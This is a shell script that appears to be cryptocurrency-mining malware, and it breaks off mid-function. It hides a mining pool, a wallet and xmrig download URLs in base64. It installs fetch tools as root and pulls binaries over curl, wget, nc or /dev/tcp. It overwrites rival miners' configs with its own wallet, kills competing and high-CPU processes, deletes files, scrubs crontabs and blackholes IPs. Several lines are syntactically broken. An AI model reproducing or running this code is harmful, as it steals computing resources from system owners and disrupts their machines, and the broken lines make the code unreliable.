1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5. case "$0" in
  6. /*|./*)
  7. if command -v bash >/dev/null 2>&1; then
  8. exec bash "$0" "$@"
  9. fi
  10. ;;
  11. esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9naXN0cGFkLmNvbS9naG1pa2xhZ2gtMw==')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24. _pf_need_fetch=1 # always need HTTP fetch capability
  25. # Determine what we have
  26. _check_tools() {
  27. _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28. command -v curl >/dev/null 2>&1 && _pf_has_curl=1
  29. command -v wget >/dev/null 2>&1 && _pf_has_wget=1
  30. command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31. command -v perl >/dev/null 2>&1 && _pf_has_perl=1
  32. }
  33. _check_tools
  34. # Can we fetch?
  35. _pf_can_fetch() {
  36. # curl or wget alone is sufficient
  37. [ "$_pf_has_curl" = "1" ] && return 0
  38. [ "$_pf_has_wget" = "1" ] && return 0
  39. # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40. [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41. return 1
  42. }
  43. # If we can't fetch, try to install as root
  44. if ! _pf_can_fetch; then
  45. log "PREFLIGHT: missing HTTP fetch capability"
  46. if [ "$(id -u)" = "0" ]; then
  47. log "Running as root — installing missing components..."
  48. _pf_installed=0
  49. # Try package managers in order of preference: curl first (simplest),
  50. # then wget, then openssl+perl
  51. if command -v apk >/dev/null 2>&1; then
  52. # Alpine: prefer curl, then wget
  53. if [ "$_pf_installed" = "0" ]; then
  54. log " trying apk add curl..."
  55. apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56. fi
  57. if [ "$_pf_installed" = "0" ]; then
  58. log " trying apk add wget..."
  59. apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60. fi
  61. if [ "$_pf_installed" = "0" ]; then
  62. log " trying apk add openssl perl..."
  63. apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64. fi
  65. elif command -v apt-get >/dev/null 2>&1; then
  66. # Debian/Ubuntu: prefer curl, then wget
  67. apt-get update -qq >/dev/null 2>&1
  68. if [ "$_pf_installed" = "0" ]; then
  69. log " trying apt-get install curl..."
  70. apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71. fi
  72. if [ "$_pf_installed" = "0" ]; then
  73. log " trying apt-get install wget..."
  74. apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75. fi
  76. if [ "$_pf_installed" = "0" ]; then
  77. log " trying apt-get install openssl perl..."
  78. apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79. fi
  80. elif command -v yum >/dev/null 2>&1; then
  81. # RHEL/CentOS
  82. if [ "$_pf_installed" = "0" ]; then
  83. log " trying yum install curl..."
  84. yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85. fi
  86. if [ "$_pf_installed" = "0" ]; then
  87. log " trying yum install wget..."
  88. yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89. fi
  90. elif command -v dnf >/dev/null 2>&1; then
  91. # Fedora
  92. if [ "$_pf_installed" = "0" ]; then
  93. log " trying dnf install curl..."
  94. dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95. fi
  96. fi
  97. # Re-check after install
  98. _check_tools
  99. if _pf_can_fetch; then
  100. log "PREFLIGHT: install succeeded"
  101. else
  102. log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
  103. exit 0
  104. fi
  105. else
  106. log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
  107. exit 0
  108. fi
  109. fi
  110. # Report what we have
  111. _pf_tools=""
  112. [ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"
  113. [ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"
  114. [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  115. [ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"
  116. log "PREFLIGHT OK: fetch available via:$_pf_tools"
  117. }
  118. _preflight
  119.  
  120. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  121.  
  122. _z7() {
  123. _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  124. _r2="${2:-/var/tmp/.odoo_pg_start}"
  125. _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  126. _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  127. _h1 "$_r1" "$_s1"
  128. _h1 "$_r2" "$_s2"
  129. return 0
  130. }
  131.  
  132. _h1() {
  133. _f0="$1"
  134. _p0="$2"
  135. _t0="${_f0}.$$"
  136. command -v sed >/dev/null 2>&1 || return 0
  137. command -v cat >/dev/null 2>&1 || return 0
  138. [ -f "$_f0" ] || return 0
  139. [ -r "$_f0" ] || return 0
  140. [ -w "$_f0" ] || return 0
  141. if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  142. if cat "$_t0" > "$_f0" 2>/dev/null; then
  143. :
  144. fi
  145. fi
  146. rm -f "$_t0" 2>/dev/null || :
  147. return 0
  148. }
  149.  
  150. mask_enemy() { _z7 "$@"; }
  151.  
  152.  
  153. detect_kill_unicorn() {
  154. _dk_uid=$(id -u 2>/dev/null || echo 0)
  155. _dk_user=$(id -un 2>/dev/null || echo "")
  156. _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  157. [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  158. _dk_cldir="$_dk_home/.claude"
  159.  
  160. # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  161. # Safe: nothing legitimate ever runs from the worm's hidden dir.
  162. _dk_miners=""
  163. for _dk_proc in /proc/[0-9]*; do
  164. [ -d "$_dk_proc" ] || continue
  165. _dk_pid=${_dk_proc#/proc/}
  166. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  167. [ "$_dk_pid" = "$$" ] && continue
  168. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  169. [ "$_dk_owner" = "$_dk_uid" ] || continue
  170. _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  171. case "$_dk_cwd" in
  172. "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  173. esac
  174. done
  175.  
  176. # Target 2: the live CRON jobs -> descendants respawner tree
  177. _dk_crons=""
  178. for _dk_proc in /proc/[0-9]*; do
  179. [ -d "$_dk_proc" ] || continue
  180. _dk_pid=${_dk_proc#/proc/}
  181. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  182. [ "$_dk_pid" = "$$" ] && continue
  183. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  184. [ "$_dk_owner" = "$_dk_uid" ] || continue
  185. [ -r "$_dk_proc/cmdline" ] || continue
  186. _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  187. _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  188. _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  189. _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  190. [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  191. [ "$_dk_a1" = "jobs" ] || continue
  192. [ -n "$_dk_a2" ] && continue
  193. _dk_crons="$_dk_crons $_dk_pid"
  194. done
  195.  
  196. # expand CRON jobs to all descendants
  197. _dk_tree="$_dk_crons"
  198. for _dk_round in 1 2 3 4 5; do
  199. for _dk_proc in /proc/[0-9]*; do
  200. [ -d "$_dk_proc" ] || continue
  201. _dk_pid=${_dk_proc#/proc/}
  202. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  203. [ "$_dk_pid" = "$$" ] && continue
  204. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  205. [ "$_dk_owner" = "$_dk_uid" ] || continue
  206. _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  207. case " $_dk_tree " in
  208. *" $_dk_pp "*)
  209. case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  210. ;;
  211. esac
  212. done
  213. done
  214.  
  215. # Kill everything (miners + cron tree), TERM then KILL
  216. _dk_all="$_dk_miners $_dk_tree"
  217. for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  218. sleep 1 2>/dev/null
  219. for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  220.  
  221. # Scrub the respawner: crontab + payload files in .claude
  222. _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  223. if command -v crontab >/dev/null 2>&1; then
  224. _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  225. if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  226. if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  227. grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  228. echo "[dk] scrubbed crontab: $_dk_user"
  229. fi
  230. fi
  231. rm -f "$_dk_ct" 2>/dev/null
  232. fi
  233. for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  234. [ -f "$_dk_f" ] || continue
  235. grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  236. chattr -f -ia "$_dk_f" 2>/dev/null
  237. sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  238. done
  239.  
  240. # remove the worm payload files (only ones we own, only inside .claude)
  241. if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  242. for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  243. [ -e "$_dk_f" ] || continue
  244. [ -O "$_dk_f" ] || continue
  245. chattr -f -ia "$_dk_f" 2>/dev/null
  246. rm -f "$_dk_f" 2>/dev/null
  247. echo "[dk] removed: $_dk_f"
  248. done
  249. fi
  250.  
  251. [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  252. || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  253. return 0
  254. }
  255.  
  256.  
  257. detect_kill_unicorn
  258.  
  259. http_get() {
  260. _hg_url="$1"; _hg_follow=0
  261. while [ "$_hg_follow" -lt 5 ]; do
  262. _hg_follow=$((_hg_follow + 1))
  263. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  264. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  265. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  266. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  267. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  268. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  269. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  270. "$_hg_path" "$_hg_host" > "$_hg_req"
  271. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  272. # HTTPS — openssl s_client with SNI
  273. if command -v timeout >/dev/null 2>&1; then
  274. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  275. -servername "$_hg_host" -quiet \
  276. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  277. else
  278. openssl s_client -connect "${_hg_ip}:443" \
  279. -servername "$_hg_host" -quiet \
  280. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  281. fi
  282. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  283. else
  284. # Plain HTTP — use nc (netcat) if available (works on Alpine)
  285. if command -v nc >/dev/null 2>&1; then
  286. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  287. elif [ -n "$BASH_VERSION" ]; then
  288. # bash /dev/tcp fallback
  289. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  290. cat "$_hg_req" >&3
  291. cat <&3 > "$_hg_raw" 2>/dev/null
  292. exec 3>&-
  293. else
  294. # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  295. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  296. fi
  297. fi
  298. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  299. case "$_hg_status" in
  300. 301|302|303|307|308)
  301. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  302. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  303. [ -z "$_hg_loc" ] && return 1
  304. case "$_hg_loc" in
  305. esac
  306. _hg_url="$_hg_loc"
  307. continue
  308. ;;
  309. esac
  310. tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  311. if (/^(.*?)\n\n(.*)$/s) {
  312. my ($h, $b) = ($1, $2);
  313. if ($h =~ /transfer-encoding:\s*chunked/i) {
  314. my $out = "";
  315. while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  316. my $sz = hex($1); last if $sz == 0;
  317. $b = $2; $out .= substr($b, 0, $sz);
  318. $b = substr($b, $sz); $b =~ s/^\n//;
  319. }
  320. print $out;
  321. } else { print $b; }
  322. }
  323. ' | grep -v '^[0-9a-fA-F]*$'
  324. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  325. return 0
  326. done
  327. return 1
  328. }
  329. http_get_bin() {
  330. _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  331. while [ "$_hg_follow" -lt 5 ]; do
  332. _hg_follow=$((_hg_follow + 1))
  333. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  334. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  335. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  336. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  337. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  338. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  339. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  340. "$_hg_path" "$_hg_host" > "$_hg_req"
  341. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  342. # HTTPS — openssl s_client with SNI
  343. if command -v timeout >/dev/null 2>&1; then
  344. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  345. -servername "$_hg_host" -quiet \
  346. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  347. else
  348. openssl s_client -connect "${_hg_ip}:443" \
  349. -servername "$_hg_host" -quiet \
  350. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  351. fi
  352. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  353. else
  354. # Plain HTTP — nc or bash /dev/tcp
  355. if command -v nc >/dev/null 2>&1; then
  356. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  357. elif [ -n "$BASH_VERSION" ]; then
  358. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  359. cat "$_hg_req" >&3
  360. cat <&3 > "$_hg_raw" 2>/dev/null
  361. exec 3>&-
  362. else
  363. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  364. fi
  365. fi
  366. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  367. case "$_hg_status" in
  368. 301|302|303|307|308)
  369. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  370. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  371. [ -z "$_hg_loc" ] && return 1
  372. case "$_hg_loc" in
  373. esac
  374. _hg_url="$_hg_loc"
  375. continue
  376. ;;
  377. esac
  378. perl -0777 -ne '
  379. if (/^(.*?)\r\n\r\n(.*)$/s) {
  380. my ($h, $b) = ($1, $2);
  381. $h =~ s/\r//g;
  382. if ($h =~ /transfer-encoding:\s*chunked/i) {
  383. my $out = "";
  384. while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  385. my $sz = hex($1); last if $sz == 0;
  386. $b = $2; $out .= substr($b, 0, $sz);
  387. $b = substr($b, $sz); $b =~ s/^\r?\n//;
  388. }
  389. print $out;
  390. } else { print $b; }
  391. }
  392. ' < "$_hg_raw" > "$_hg_out"
  393. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  394. [ -s "$_hg_out" ] && return 0 || return 1
  395. done
  396. return 1
  397. }
  398. fetch_url() {
  399. _fu_url="$1"
  400. if command -v curl >/dev/null 2>&1; then
  401. curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  402. elif command -v wget >/dev/null 2>&1; then
  403. wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  404. else
  405. http_get "$_fu_url"
  406. fi
  407. }
  408. fetch_file() {
  409. _ff_url="$1"; _ff_out="$2"
  410. if command -v curl >/dev/null 2>&1; then
  411. curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
  412. --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  413. elif command -v wget >/dev/null 2>&1; then
  414. wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  415. else
  416. http_get_bin "$_ff_url" "$_ff_out"
  417. fi
  418. }
  419. _is_excluded() {
  420. _ie_cmdline="$1"
  421. for _ie_pat in $_c6; do
  422. case "$_ie_cmdline" in
  423. *"$_ie_pat"*) return 0 ;;
  424. esac
  425. done
  426. return 1
  427. }
  428. kill_themf() {
  429. (
  430. set +e
  431. _kt_threshold=7
  432. for _kt_proc in /proc/[0-9]*; do
  433. [ -r "$_kt_proc/status" ] || continue
  434. _kt_pid="${_kt_proc#/proc/}"
  435. _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  436. # Exclude our miner
  437. _is_excluded "$_kt_cmdline" && continue
  438. _kt_score=0
  439. _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  440. _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  441. _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  442. _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  443. _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  444. _kt_rss=${_kt_rss:-0}
  445. _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  446. [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  447. [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  448. [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  449. _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  450. [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  451. [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  452. _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  453. if [ "$_kt_user" != root ]; then
  454. case "$_kt_state" in
  455. S*) _kt_score=$((_kt_score + 1)) ;;
  456. esac
  457. fi
  458. case "$_kt_exe" in
  459. /tmp/*|/var/tmp/*|/dev/shm/*)
  460. _kt_score=$((_kt_score + 4)) ;;
  461. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  462. _kt_score=$((_kt_score + 4)) ;;
  463. esac
  464. [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  465. if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  466. echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  467. kill -9 "$_kt_pid" 2>/dev/null
  468. fi
  469. done
  470. )
  471. return 0
  472. }
  473. kill_mf3() {
  474. (
  475. set +e
  476. _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  477. _km_skip="$_c5"
  478. _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  479. _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  480. # Tier 1: watchdogs + grep scanner
  481. _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  482. # Tier 2: miners
  483. _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  484. _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  485. _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  486. # T1: SIGTERM then SIGKILL
  487. _km_t1p=$(_km_pids_of "$_km_t1")
  488. _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  489. _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  490. if [ -n "$_km_list" ]; then
  491. kill -TERM $_km_list 2>/dev/null; sleep 1
  492. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  493. fi
  494. # T2: SIGTERM then SIGKILL
  495. _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  496. if [ -n "$_km_list" ]; then
  497. kill -TERM $_km_list 2>/dev/null; sleep 2
  498. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  499. fi
  500. # T3: orphans
  501. sleep 1
  502. _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  503. [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  504. )
  505. return 0
  506. }
  507. kill_and_remove_process() {
  508. _karp_term="$1"
  509. [ -z "$_karp_term" ] && return 2
  510. for _karp_dir in /proc/[0-9]*; do
  511. [ -r "$_karp_dir/comm" ] || continue
  512. _karp_pid="${_karp_dir##*/}"
  513. _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  514. _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  515. if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  516. continue
  517. fi
  518. _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  519. [ -z "$_karp_exe" ] && continue
  520. # Skip system binaries
  521. case "$_karp_exe" in
  522. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  523. esac
  524. echo "Terminating '$_karp_term' PID=$_karp_pid"
  525. kill "$_karp_pid" 2>/dev/null; sleep 1
  526. kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  527. if [ -f "$_karp_exe" ]; then
  528. rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  529. fi
  530. done
  531. return 0
  532. }
  533. kill_high_cpu() {
  534. _khc_threshold=150.0
  535. ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  536. [ -f "/proc/$_khc_pid/cmdline" ] || continue
  537. _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  538. _is_excluded "$_khc_cmdline" && continue
  539. kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  540. done
  541. }
  542. harden_network() {
  543. command -v iptables >/dev/null 2>&1 && {
  544. iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  545. iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  546. }
  547. command -v ip >/dev/null 2>&1 && {
  548. ip route add blackhole 139.59.59.33 2>/dev/null || true
  549. ip route add blackhole 45.94.31.89 2>/dev/null || true
  550. ip route add blackhole 154.89.152.115 2>/dev/null || true
  551. ip route add blackhole 84.21.173.223 2>/dev/null || true
  552. ip route add blackhole 142.132.131.238 2>/dev/null || true
  553. }
  554. }
  555. cleanup_files() {
  556. # Remove competing miner artifacts (union of all scripts)
  557. rm -rf /bin/softirq 2>/dev/null || true
  558. rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  559. rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  560. rm -rf /usr/local/bin/watcher 2>/dev/null || true
  561. rm -rf /tmp/runnv/* 2>/dev/null || true
  562. rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  563. rm -rf /tmp/nuclear 2>/dev/null || true
  564. rm -f /tmp/mon.sh 2>/dev/null || true
  565. rm -f /tmp/run.sh 2>/dev/null || true
  566. # Reclaim as honeypots
  567. mkdir -p /bin/softirq 2>/dev/null || true
  568. mkdir -p /tmp/nuclear 2>/dev/null || true
  569. mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  570. mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  571. mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  572. mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  573. mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  574. mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  575. # Remove old dns-filter artifacts
  576. for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  577. [ -f "$_cf_f" ] && rm -f "$_cf_f"
  578. done
  579. }
  580. safe_patch_args() {
  581. _spa_file='/lib/systemd/cache/process-watcher'
  582. _spa_value="-o $_c3 -u $_c4/P2 --tls"
  583. [ -f "$_spa_file" ] || return 0
  584. _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  585. if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  586. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
